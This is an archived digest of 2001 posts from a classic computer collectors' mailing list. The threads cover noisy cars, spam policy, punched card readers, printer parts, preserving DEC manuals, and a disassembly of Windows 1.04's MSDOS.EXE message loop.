Jun 22 01:24:25 2001 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) Message-ID: <20010622.013043.-624877.0.jeff.kaneko@juno.com> On Thu, 21 Jun 2001 23:31:21 -0400 (EDT) "R. D. Davis" writes: > On Thu, 21 Jun 2001, Lanny Cox wrote: > > As a fan of fairly loud music, i think the idea of setting off car > alarms is > > much more interesting. :-) > > Funny that you should mention that. Interestingly, it's a > relatively > common occurance that when I start my engine when parked next to an > alarmed car, the alarm goes off. :-) Yeh, those 3/4-race cams and headers have this tendancy to do that . . . ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From jeff.kaneko at juno.com Fri Jun 22 01:30:42 2001 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) Message-ID: <20010622.013043.-624877.1.jeff.kaneko@juno.com> On Thu, 21 Jun 2001 20:12:06 -0700 Chuck McManis writes: > This is a True Story(tm) although it sounds like an urban legend Yeh, I seen that done. I work for a test equipment manufacturer, and you can get a cellular test set to fake-out phones pretty easily (if you have $20k to spend on a test set). A retired cellular tranceiver (one designed to deliver a control channel) is a good substitute. OB Classic: If those tranceivers were the ones I'm familiar with, they are controlled by a 6809 uP. They're long, thin, heavy aluminum things with a handle and audio jacks in the front . . . . ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From fernande at internet1.net Fri Jun 22 01:54:39 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) References: <200106220225.UAA25247@calico.litterbox.com> Message-ID: <3B32EBAF.9D1C1B70@internet1.net> While I was living in a dorm, a kid down the hall an I, would have sound offs :-) He won because his system was more powerful, and he could really pump the base, but I put up a good fight :-) We were on the 21 and over floor.... at least we weren't throwing deer heads or dead fish up in the ceilings like the lower floors did :-) Chad Fernandez Michigan, USA Jim Strickland wrote: > > I'm thinking of an incident that happened when I was in grad school in > 1993 or so. It was summer, the guys down the hall were obviously basket > ball team, and had the rap music pumped up LOUD. The joys of dorm living. From fernande at internet1.net Fri Jun 22 01:59:35 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:41 2005 Subject: Boom cars (ot for sure...) References: Message-ID: <3B32ECD7.6DF86F6B@internet1.net> That was Ride of the Valkyries by Wagner. Playing it right now, since you brought it up. I'm not a big fan, but I have a few cd's that I bought a long time ago when I got my first cd-player. Chad Fernandez Michigan, USA Brian Chase wrote: > What piece did they use in _Apocalypse Now_ when the air cavalry took > the beach? From mikeford at socal.rr.com Fri Jun 22 01:53:08 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:41 2005 Subject: Wave of the Future (Spam) In-Reply-To: <3.0.1.32.20010621152208.00ba1ab0@mail.30below.com> References: Message-ID: >>One of my friends is a spammer, > >[snip] > >And he's still your friend? > >*sigh* Sainthood isn't one of my requirements for friendship. IMHO spamming isn't much more than a minor lapse of business ethics, really more of a case of poor judgement. Its not like he is a democrat or something. From mikeford at socal.rr.com Fri Jun 22 01:15:15 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) In-Reply-To: References: <005101c0fa6a$4af32520$9cc762d8@idcomm.com> Message-ID: >What we really need is a law that says anyone caught spamming will be >fined $10,000 per message sent. Then wait for the first sucker to get >caught, make an extreme example out of the asshole, repeat a few times, >and that's that. Problem solved. And how hard do you suppose it would be for someone to make it LOOK extremely like an innocent person was spamming? What allows spam to happen is that most users pay the costs of all incoming mail, and spammers pay little of the cost of sending it. Turn that around, so that the bulk of internet support costs come from charges related to bytes sent, and spam becomes MUCH less attractive. I don't see spam as a long term problem though. From brian at quarterbyte.com Fri Jun 22 02:08:38 2001 From: brian at quarterbyte.com (Brian Knittel) Date: Sun Feb 27 19:04:42 2005 Subject: Punched card readers Message-ID: <3B328C86.28339.15B66F13@localhost> Does anyone know where to find a punched card reader these days? I'm looking for a small desktop unit that I could interface to a PC. I know DEC sold a model CR11, and there were others out there. I remember using some neat little card readers that were stationed here and there on campus at UC Berkeley in the 70's for remote job entry to the CDC-6400 (and if I remember correctly they had a DG Nova underneath). Are there any of these out there, that I could take, borrow, or buy? I'll be starting an IBM 1130 software archiving project later this summer. (I did a google search and about all I found were requests just like this one, from the classiccmp archives. Hmm. And there's one place that'll rent you a desktop reader for $1500/month). Thanks, Brian =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- _| _| _| Brian Knittel / Quarterbyte Systems, Inc. _| _| _| Tel: 1-510-559-7930 Fax: 1-510-525-6889 _| _| _| Email: brian@quarterbyte.com _| _| _| http://www.quarterbyte.com From fernande at internet1.net Fri Jun 22 02:36:05 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:42 2005 Subject: Boom cars (ot for sure...) References: <200106220225.UAA25247@calico.litterbox.com> <3B32EBAF.9D1C1B70@internet1.net> Message-ID: <3B32F565.49192D2B@internet1.net> Oops, I can't believe I spelled it, "base", it's BASS! Chad Fernandez Michigan, USA Chad Fernandez wrote: > > While I was living in a dorm, a kid down the hall an I, would have sound > offs :-) He won because his system was more powerful, and he could > really pump the base, but I put up a good fight :-) > > We were on the 21 and over floor.... at least we weren't throwing deer > heads or dead fish up in the ceilings like the lower floors did :-) > > Chad Fernandez > Michigan, USA From mikeford at socal.rr.com Fri Jun 22 02:09:10 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) In-Reply-To: References: Message-ID: >> One of my friends is a spammer, and what he does is setup a whole new >> "persona" for each email blitz. Cost of doing business as far as he is >> concerned. > >Can I have your friend's home address? He is a 6'8" 260 lb merchant marine, do you REALLY want to knock on his door and explain what a naughty spammer he is? From mikeford at socal.rr.com Fri Jun 22 02:46:50 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:42 2005 Subject: OT: replacment tray for HP DJ1200C printer In-Reply-To: <001d01c0faac$8b921720$9cc762d8@idcomm.com> References: <200106212136.PAA24188@calico.litterbox.com> <5.1.0.14.1.20010621191659.00a29570@mailhost.intellistar.net> Message-ID: >Has anyone got a reliable recommendation on where one might obtain a >replacment >paper tray for the HP DeskJet 11200C printer. I'd like to know whether that >tray is interchangeable with any other printer or plotter models, in the event >anyone knows that. Ebay or worse some legacy support joint. The catch with paper trays is that almost NONE of them have any kind of identifying marking, so that when I find a "tray" if I can't visually ID it, most of the time I know its going to NEVER be IDed, hence no value to anybody. Most of them get tossed. I don't recognize that printer model, but do see 300XL and 1200XL (unfortunately also typically going in the trash). From mikeford at socal.rr.com Fri Jun 22 03:23:52 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:42 2005 Subject: Boom cars (ot for sure...) In-Reply-To: <20010622.013043.-624877.0.jeff.kaneko@juno.com> Message-ID: >> common occurance that when I start my engine when parked next to an >> alarmed car, the alarm goes off. :-) > > >Yeh, those 3/4-race cams and headers have this tendancy to do that . . . One of my brothers old buddies had his exhaust rigged with a pair of 3" electric aircraft fuel valves. Switch up on the dash ran the exhaust thru a Caddie quiet set of mufflers, down and it went out about a foot behind the front wheels with no restriction of any kind. Not only rather loud, but shot flame a fair distance. From JRichardson at softwright.co.uk Fri Jun 22 03:54:02 2001 From: JRichardson at softwright.co.uk (Julian Richardson) Date: Sun Feb 27 19:04:42 2005 Subject: Boom cars (ot for sure...) Message-ID: <07E0E649A9C3D411A80A0020350804BD36153C@exch002.softwright.co.uk> we fired up an old Rover (Buick) V8 a while ago on someone's driveway with no exhaust manifolds on it - that really was pretty darn loud. Windows rattled, and the people 4 doors down the street though a plane was crashing on their heads :-) the flames are pretty good, nice blue / orange jets out of the ports in the heads. Cooked the engine bay pretty well though... > ---------- > From: Mike Ford[SMTP:mikeford@socal.rr.com] > Sent: 22 June 2001 09:23 > To: classiccmp@classiccmp.org > Subject: Re: Boom cars (ot for sure...) > > >> common occurance that when I start my engine when parked next to an > >> alarmed car, the alarm goes off. :-) > > > > > >Yeh, those 3/4-race cams and headers have this tendancy to do that . . . > > One of my brothers old buddies had his exhaust rigged with a pair of 3" > electric aircraft fuel valves. Switch up on the dash ran the exhaust thru > a > Caddie quiet set of mufflers, down and it went out about a foot behind > the > front wheels with no restriction of any kind. Not only rather loud, but > shot flame a fair distance. > > From rhblake at bigfoot.com Fri Jun 22 04:19:26 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:42 2005 Subject: OT: replacment tray for HP DJ1200C printer In-Reply-To: Message-ID: The Deskjet 1200c is also known by it's product number of C1767A and the tray part number is C1676-60122 (tray kit w/ upper and lower tray) and HP's list price is $49.00 which includes shipping. You can order it yourself by phone (800-227-8164 from 5a to 5pm PST) or go to http://partsdirect.hp.com and "shop for parts" putting a quantity of 1 on the qty box and the above part number in the part number box. I normally can get a discount on them and even drop-ship to a person but HP is screwing around with the ASP system and I'm not able to access them my normal way. Since you have the part number also go to www.printerworks.com or www.agson.com and check with them on price. Both sell to the public and are usually under HP's price. Agson's online database sucks so I recommend calling them on the 800 number. The 1200c and 1600c are durable and expensive printers and well worth the cost of even buying the tray kit from HP at list, unlike some of the junker inkjets made by Canon, Epson, Lexmark, etc. The 1200c and 1600c are more in the professional series as well. -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Mike Ford Sent: Friday, June 22, 2001 2:47 AM To: classiccmp@classiccmp.org Subject: Re: OT: replacment tray for HP DJ1200C printer >Has anyone got a reliable recommendation on where one might obtain a >replacment >paper tray for the HP DeskJet 11200C printer. I'd like to know whether that >tray is interchangeable with any other printer or plotter models, in the event >anyone knows that. Ebay or worse some legacy support joint. The catch with paper trays is that almost NONE of them have any kind of identifying marking, so that when I find a "tray" if I can't visually ID it, most of the time I know its going to NEVER be IDed, hence no value to anybody. Most of them get tossed. I don't recognize that printer model, but do see 300XL and 1200XL (unfortunately also typically going in the trash). From jhellige at earthlink.net Fri Jun 22 04:25:24 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:42 2005 Subject: Punched card readers In-Reply-To: <3B328C86.28339.15B66F13@localhost> References: <3B328C86.28339.15B66F13@localhost> Message-ID: >Does anyone know where to find a punched card reader >these days? I'm looking for a small desktop unit that >I could interface to a PC. I know that Harris sold a very small table top unit that was used by the US Navy with the Harris SNAP-II mini. You might be able to find one someplace that deals with government surplus. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From FlyingMadman at web.de Fri Jun 22 05:12:05 2001 From: FlyingMadman at web.de (=?iso-8859-1?Q? Robert=20K=FChnlenz ?=) Date: Sun Feb 27 19:04:42 2005 Subject: converting disc format Message-ID: <200106221012.f5MAC4F22899@mailgate3.cinetic.de> Hello, I have the following problem. I want to open lif-files (created by my hp 3360 analysator) on my pc operating with Linux and WinNT, but this is impossible, it doesen?t work.I have no idea how to handle it.I?m looking for any information, documentations and codes/programmes refering to this problem which may help me. Is it possible to solve my problem with RMB? Please, would you be so kind (only if possible) and give me some advice, where I can get these information/how to handle ist? Please send any information to my E-Mail Address: FlyingMadman@web.de Thank you very much! Robert ______________________________________________________________________________ Sie surfen im Internet statt im Meer? Selbst schuld! Auf zum Strand: http://lastminute.de/?PP=1-0-100-105-1 From John.Honniball at uwe.ac.uk Fri Jun 22 05:30:31 2001 From: John.Honniball at uwe.ac.uk (John Honniball) Date: Sun Feb 27 19:04:42 2005 Subject: Source for anti-static bags? In-Reply-To: <200106211924.OAA12270@caesar.cs.umn.edu> Message-ID: > > So... where do I get anti-static bags that for hex-height Unibus and > > other big boards? > > > > -- > > Jeffrey S. Sharp > > jss@ou.edu I have a friend who's a network admin, and also keeps a PDP-11/34 at home. He told me that some types of network router gear (probably Cisco) comes in big anti-static bags, just the right size for the spare boards for his 11. -- John Honniball Email: John.Honniball@uwe.ac.uk University of the West of England From menadeau at mediaone.net Fri Jun 22 06:02:53 2001 From: menadeau at mediaone.net (Michael Nadeau) Date: Sun Feb 27 19:04:42 2005 Subject: preserving / ressurecting old docs? References: <20010622012544.A9041@mrbill.net> Message-ID: <002901c0fb0a$e5eaf800$0c01a8c0@michaelnadeau> I don't know the answer, but I bet your local librarian does. Librarians spend a lot of time mending books. --Mike Michael Nadeau Editorial Services 603-893-2379 ----- Original Message ----- From: "Bill Bradford" To: Sent: Friday, June 22, 2001 2:25 AM Subject: preserving / ressurecting old docs? > As mentioned previously, I've registered DECDOCS.ORG, and have started > the tedious task of scanning in all the documentation I have. > > I'm about halfway through scanning the '69 DEC Logic Handbook > (positive logic edition), by laying the book as flat as possible > (not using the scanner top cover), and scanning 2 pages at once. > > Some of the pages are starting to come unglued, and I'd like to > avoid destroying the book while archiving it. Any suggestions on > what to use to re-glue the pages, or rebinding, etc? I've got > quite a pile of these handbooks and will be doing the same (scanning) > to them, but this is definitely the oldest / most fragile handbook > in the collection. > > Thanks for any tips. > > Bill > > -- > Bill Bradford > mrbill@mrbill.net > Austin, TX > From dhquebbeman at theestopinalgroup.com Fri Jun 22 06:43:15 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:42 2005 Subject: Punched card readers Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511E3@jeffserver.tegjeff.com> > Does anyone know where to find a punched card reader > these days? I'm looking for a small desktop unit that > I could interface to a PC. I would be thinking that a sh*tload of them will be available in Florida soon, as they have clearly outlived their political acceptableness. If any Floridian listers get a line on these (mostly Documation readers, possibly various models) when they become available, I'd like to try to get one, particularly if Pr1me-color-schemed units are among them. -dq From jfoust at threedee.com Fri Jun 22 06:40:44 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) In-Reply-To: <3B3296A5.1EADF28C@mindless.com> References: Message-ID: <4.3.2.7.0.20010622063848.01e48c10@pc> At 05:51 PM 6/21/01 -0700, Ross Archer wrote: >Fix Federal law, like they did to stop bulk FAXes. Being able to >identify the spammer is indeed 90% of the battle. Ho ho ho. You should see the garbage can next to my fax machine. I'm still getting junk faxes and telemarketing calls for imaginary employees we registered at trade shows in order to use up all the badges we were allocated. - John From optimus at canit.se Thu Jun 21 20:44:33 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) In-Reply-To: <004101c0f91f$8ac76680$9cc762d8@idcomm.com> Message-ID: <1517.573T1650T1645727optimus@canit.se> Richard Erlacher skrev: >If I ever want to send several people the same email, which I've not yet >done, after about 10 years of internetting, I'd simply write a script to do >that. I do that each and every day. Friend A and Friend B are both usergroup members and our interests overlap quite well, so bouncing messages between the three of us comes natural. >It should be a requirement for an email message to get through even ONE >server beyond its point of origin, that the message have the real point of >origin in it and that the point of origin be listed in the text of the >message as well as in the header. Any message in which the originator is not >named and traceable via FINGER, with a validated account, can simply be >dropped. It is easy enough to reject unwanted mail, provided you have a list >of acceptable sources. My provider dropped finger a while ago due to security holes in their d?mon, unfortunately. Most "modern" providers wouldn't even know what finger was. >If you don't want to surrender your anonymity, we'll simply all have to put >up with the SPAM. Now, I get a bit of SPAM from time to time, maybe as much >as 20% of my mail, but it's pretty easy to recognize and delete. What annoys >me is that it takes more bandwidth to reject the stuff than simply to delete >it. What annoys me is that we didn't have this a few years ago. This is evil grass-roots capitalism at its worst. -- En ligne avec Thor 2.6a. optimus@dec:foo$ make love make: don't know how to make love. Stop From optimus at canit.se Fri Jun 22 09:07:42 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:42 2005 Subject: What's best to do?? classically speaking In-Reply-To: <200106212236.SAA25166@cnonline.net> Message-ID: <1305.573T2100T9075329optimus@canit.se> rhudson skrev: >I have a Compaq Portable 386... >Classically speaking... what is best to do in the cases below? >1)I am running dos 6.12, but I am thinking about re-installing with >DOS 4 or DOS 5. >Or more generally is it better to use a circa operating system or a modern >operating system (Assuming the machine will run both) ? MS-DOS really doesn't put much demand on the system regardless of version, AFAIK. If you find DOS 6 more comfortable and can afford the extra hard drive space, go ahead. >2) The machine came with a 5 1/4" diskette drive, I am considering replacing >that with a 3 and a whatever" drive, or once again more generally when one >has an older machine is it good to upgrade the hardware to make it more >usefull. It is definitely good to upgrade machines. When machines stop being upgraded, that's when they turn into useless antiques. >I suppose on my single machine no one cares really, the "historical Police" >will not appear at my doorstep. >Let us extend the argument, Given a running PDP/11, what of the person who >installs a current day 60GB disk drive and DVD CD ROM? All power to them! Time-typical setups are fine for museums, but if you're going to actually use the computer in a day-to-day way, authenticity is a minor concern. -- En ligne avec Thor 2.6a. From ethan_dicks at yahoo.com Fri Jun 22 08:31:37 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:42 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <20010622012544.A9041@mrbill.net> Message-ID: <20010622133137.62013.qmail@web9507.mail.yahoo.com> --- Bill Bradford wrote: > As mentioned previously, I've registered DECDOCS.ORG, and have started > the tedious task of scanning in all the documentation I have. > > I'm about halfway through scanning the '69 DEC Logic Handbook > (positive logic edition), by laying the book as flat as possible > (not using the scanner top cover), and scanning 2 pages at once. > > Some of the pages are starting to come unglued, and I'd like to > avoid destroying the book while archiving it. Talk to Doug Jones. He recommends dismantling the book carefully for the best quality copies/scans. The idea here is that the information in its copied format is more valuable than the slivers of dead trees that it currently resides on. Yes, books are a valuable resource, but these are not unique books - they are reference works that were published by the thousands. Once in digital form, they are trivial to disseminate in a way that is impossible for the originals. If you have handbooks that are disintegrating anyway, the thing to do is probably take them apart intentionally and carefully, then probably just put the leaves in a baggie for safe-keeping. I would be willing to take any and all handbooks in that format. > Any suggestions on what to use to re-glue the pages, or rebinding, etc? I have no idea on that one. As someone else here mentioned, perhaps a librarian might know. I would expect the answer, however, for a 30-year-old paperback to be unsatisfactory. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From RCini at congressfinancial.com Fri Jun 22 08:40:03 2001 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 19:04:42 2005 Subject: SDK for Windows 1.04?? Message-ID: <497A9E0467D2D2119B760090271EB8E5879A95@MAIL10> Doug: The earliest MSC I have is 7.0 which has the 3.1 SDK on it (separate disk and separate install program). Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Douglas Quebbeman [mailto:dhquebbeman@theestopinalgroup.com] Sent: Thursday, June 21, 2001 5:13 PM To: 'classiccmp@classiccmp.org' Subject: RE: SDK for Windows 1.04?? > Hello, all: > > I was paging through some Sourcer listings that I have of the > Windows 1.04 code and noticed that most of the functions in the DOS Shell > code (MSDOS.exe and MSDOSD.exe) are referenced by ordinal number and not > function name ("MSDOS_23" versus "DoSomeThing"). So, I was wondering if > anyone had a copy or knows the existence of SDK documentation for Windows 1. I think the Windows 1 SDK was bundled with some versions of the Microsoft C Compiler v 4.0.... or I guess, it would have been the compiler bundled with the SDK. In the late 80s, lots of people were buying the SDKs and then stripping out the compiler packages and selling them. I bought MS C 5.0 that way from someone who'd bought a Microsoft OS/2 SDK. I was able to send a copy of a letter from the seller to Microsoft, who registered me as a valid licensee! However, they stopped that practice shortly there- after. Regards, -dq From jfoust at threedee.com Fri Jun 22 08:29:08 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) In-Reply-To: References: <005101c0fa6a$4af32520$9cc762d8@idcomm.com> Message-ID: <4.3.2.7.0.20010622081925.01f98770@pc> At 11:15 PM 6/21/01 -0700, Mike Ford wrote: >What allows spam to happen is that most users pay the costs of all incoming >mail, and spammers pay little of the cost of sending it. Turn that around, >so that the bulk of internet support costs come from charges related to >bytes sent, and spam becomes MUCH less attractive. Why blame e-mail? If everyone is paying extra based on their outgoing traffic, suddenly web servers cost more for the people hosting them. Hosting already costs considerably more than one person's dial-up. Or mailing lists, for that matter. What's the real difference between a mailing list and a spammer? Content? Opt-in? Change the economics of the net, it'll change the net, and not necessarily the parts you want to change. Start ripping on traffic based on its content, and next it'll be restrictions on that nasty porn or those terrible violent videogames, or extra "sin" taxes on tobacco, gun, or alcohol web sites. A long time ago, A.C. Clarke predicted / hoped that in 2000, all telephone calls would be ten cents, worldwide, and that you could call anywhere for that flat price. For that matter, flat one-shot pricing is what made local BBSes succeed. Tinker carefully. - John From RCini at congressfinancial.com Fri Jun 22 08:47:48 2001 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 19:04:42 2005 Subject: SDK for Windows 1.04?? Message-ID: <497A9E0467D2D2119B760090271EB8E5879A96@MAIL10> Fred: I'm using the Windows Sourcer program from V Communications. WinSrc has the ability to generate an import library from any Windows program by scanning the "exported functions" portion of the file header. So, running this on kernel.dll would produce a listing of the exported function names. Some functions are not exported by name, but by ordinal number only. These are referenced in module.ordinal format (such as "kernel.34"). So, subroutines disassembled by Sourcer are labeled with their real name ("GlobalLock") or if the name is not available, the ordinal ("KERNEL_34"). This utility works on any Windows program using the NE, P3, LE, or PE type headers. My whole point was that the 1.04 SDK would probably give me some clues as to what the MSDOS_XX functions are since very few are exported by name. Windows programs were not supposed to call down into MSDOS.EXE or MSDOSD.EXE (the rough equivalent to win386.exe or vmm.vxd in current versions), Microsoft exported most functions by ordinal. Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Fred Cisin (XenoSoft) [mailto:cisin@xenosoft.com] Sent: Thursday, June 21, 2001 11:06 PM To: classiccmp@classiccmp.org Subject: Re: SDK for Windows 1.04?? On Thu, 21 Jun 2001, George Currie wrote: > Two different concepts. The DOS tech refs are refering to the values > to place in ah (I think, or was it al?) before making a DOS or BIOS > int call. This is all pre-DLL days. Richard is referring to the > ordinal number within a DLL to reference a specific function located > in the DLL. He is referring to the number reported by his disassembler that is disassembling the Windoze program (into DOS compatible assembly language). The value placed in AH IS for the purpose of referencing a specific dunction located in the MS-DOS DOS function handler (INT 21h). > Not all functions in a dll have their names exported and > sometimes the only way to get to them is by ordinal number. This is > one way that M$ creates 'value added' to their software by utilizing > these undocumented calls. And there were/are a few undocumented functions in MS-DOS, such as #34h, and INT 28. And don't forget the "network redirector" (since 3.10) that is needed even to use MS's CDROM drivers. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com PO Box 1236 (510) 558-9366 Berkeley, CA 94701-1236 From cmurillo at emtelsa.multi.net.co Fri Jun 22 07:41:55 2001 From: cmurillo at emtelsa.multi.net.co (Carlos Murillo) Date: Sun Feb 27 19:04:42 2005 Subject: Noise cancellation (was: Boom cars (ot for sure...) In-Reply-To: References: Message-ID: <3.0.2.32.20010622084155.00f83d98@obregon.multi.net.co> At 07:32 PM 6/21/01 -0700, Fred wrote: > >For years I have used noise-cancellation headphones at COMDEX. >The slowness of the speed of sound limits the practicality of the >technology to situations where you can have the added signal provided to >the receiver (your ear) at the same place as the original sound (in the >headphones). If you tried to produce a unit to silence the neighborhood, >alas, the delay of the sound reaching the mike, added to the delay of the >"anti-sound" getting back to the original source, would render it >impossible to synch up adequately. Even if the mike were at the source, >eliminating THAT delay, people at different locations would experience >different phase combinations of the two signals. In fact, at 500 >feet away there would be almost a half a second of delay. Since you want >either no time delta between the signals (if inverted), enough distance to >give half the frequency of the sound would completely bollix it. > >In other words, you could diminish the sound for yourself, but not cancel >out the noise level even a few feet away. Yes, this is inhererent in every 1-dimensional, single driver approach to sound cancellation. In the end, if you want to null out a source for everyone, you need to surround it with drivers. Not practical. But, with two drivers strategically placed apart, you can cancel the source along one direction. Oh, and you need more than one mike along every direction for the same reasons. carlos. -------------------------------------------------------------- Carlos E. Murillo-Sanchez carlos_murillo@nospammers.ieee.org From RCini at congressfinancial.com Fri Jun 22 09:00:44 2001 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 19:04:42 2005 Subject: SDK for Windows 1.04?? Message-ID: <497A9E0467D2D2119B760090271EB8E5879A97@MAIL10> Fred: I've used sourcer for many years in other spleunking projects. Below is some heavily snipped output from Windows Sourcer (this is the code reached from the NE header of MSDOS.EXE): ;?????????????????????????????????????????????????????????????????????????? ; MSDOS_10 ;?????????????????????????????????????????????????????????????????????????? ; Note: Subroutine does not return to instruction after call 1.0000 MSDOS_10 proc far 1.0000 mov si,364h 1.0003 loc_0003:: ; xref 1.0021 1.0003 ? xor ax,ax ; Zero register 1.0005 push ds 1.0006 push si 1.0007 push ax 1.0008 push ax 1.0009 push ax 1.000A call far ptr GetMessage 1.000F or ax,ax ; Zero ? 1.0011 jz short loc_0004 ; Jump if zero 1.0013 push ds 1.0014 push si 1.0015 call far ptr TranslateMessage 1.001A push ds 1.001B push si 1.001C call far ptr DispatchMessage 1.0021 jmp short loc_0003 ; (0003) 1.0023 loc_0004:: ; xref 1.0011 1.0023 mov ah,4Ch 1.0025 int 21h ; DOS Services ah=function 4Ch ; terminate with al=return code MSDOS_10 endp ;?????????????????????????????????????????????????????????????????????????? ; SESSIONWNDPROC ;?????????????????????????????????????????????????????????????????????????? 1.0027 SESSIONWNDPROC proc far PARAMETER_1 = 6 ; bp+6 PARAMETER_2 = 8 ; bp+8 PARAMETER_3 = 0Ah ; bp+0Ah PARAMETER_4 = 0Ch ; bp+0Ch PARAMETER_5 = 0Eh ; bp+0Eh LOCAL_2 = -4 ; bp+0FFFCh LOCAL_1 = -2 ; bp+0FFFEh {snippage} You can see that the first two routines contained in MSDOS are exported differently. The first one is MSDOS_10, the second is SESSIONWNDPROC. If you look at the NE header, MSDOS.EXE only exports window procedures by name. Everything else is by ordinal. MSDOS_10 above is clearly the WinMain (the main message loop--notice the calls to GetMessage, TranslateMessage and DispatchMessage). SESSIONWINDPROC is the main windows procedure. The MSDOSD.EXE file really only includes the equivalent code for FORMAT and SYS. I just thought that the Win104 SDK would have some helpful information in it that may aid in renaming these MSDOS_XX calls. Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Fred Cisin (XenoSoft) [mailto:cisin@xenosoft.com] Sent: Thursday, June 21, 2001 9:38 PM To: 'ClassCompList' Subject: Re: SDK for Windows 1.04?? On Wed, 20 Jun 2001, Cini, Richard wrote: > Hello, all: > I was paging through some Sourcer listings that I have of the > Windows 1.04 code and noticed that most of the functions in the DOS Shell > code (MSDOS.exe and MSDOSD.exe) are referenced by ordinal number and not > function name ("MSDOS_23" versus "DoSomeThing"). So, I was wondering if > anyone had a copy or knows the existence of SDK documentation for Windows 1. "Sourcer listings" are disassemblies. You don't want, or need Win SDK for THIS (plenty of use for it for other stuff!) What you need is a copy of the DOS Technical Reference, or ANY of the after-market programmer's references, that will provide you a list of the MS-DOS (aka INT 21h) functions, so that you can substitute "DoSomething" in lieu of function "23". Note: the DOS Technical Reference consists of what used to be the appendices of the DOS manual in version 2.00 and below. In version 2.10, they did an appendectomy. BTW, Norton refers to the functions by DECIMAL numbers, whereas the entire civilized world always refers to them in hexadecimal. For example, function 30h of INT 21h reports DOS version, (as opposed to function 48 of int 33 in Norton-speak) -- Grumpy Ol' Fred cisin@xenosoft.com From RCini at congressfinancial.com Fri Jun 22 09:04:10 2001 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 19:04:42 2005 Subject: SDK for Windows 1.04?? Message-ID: <497A9E0467D2D2119B760090271EB8E5879A98@MAIL10> Edwin: Well, Win104 did not have DLLs, but it did have *.DRV drivers. The balance of Windows was implemented as an overlay file (win100.bin) which has a standard NE-style format. So, conventional Windows spleunking tools work. Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Edwin P. Groot [mailto:epgroot@ucdavis.edu] Sent: Thursday, June 21, 2001 9:00 PM To: classiccmp@classiccmp.org Subject: Re: SDK for Windows 1.04?? George, I don't think Windows 1.04 had DLLs! It ran in real mode and used simple .EXE files as programs and nothing else. Edwin At 03:26 PM 6/21/2001 -0500, you wrote: >Two different concepts. The DOS tech refs are refering to the values to place in ah (I think, or was it al?) before making a DOS or BIOS int call. This is all pre-DLL days. Richard is referring to >the ordinal number within a DLL to reference a specific function located in the DLL. Not all functions in a dll have their names exported and sometimes the only way to get to them is by ordinal >number. This is one way that M$ creates 'value added' to their software by utilizing these undocumented calls. > >George > >On Thu, 21 Jun 2001 13:42:53 -0400, John Allain wrote: > >>From: Cini, Richard >> >>> most of the functions in the DOS Shell code (MSDOS.exe >>> and MSDOSD.exe) are referenced by ordinal number >> >>Early (most?) DOS techinical reference >>manuals listed function calls by numbers, >>E.G. 10H = Close file. 01H = Keyboard input, etc. >>Could this be it? >> >>John A. From edick at idcomm.com Fri Jun 22 09:09:44 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:42 2005 Subject: Wave of the Future (Spam) 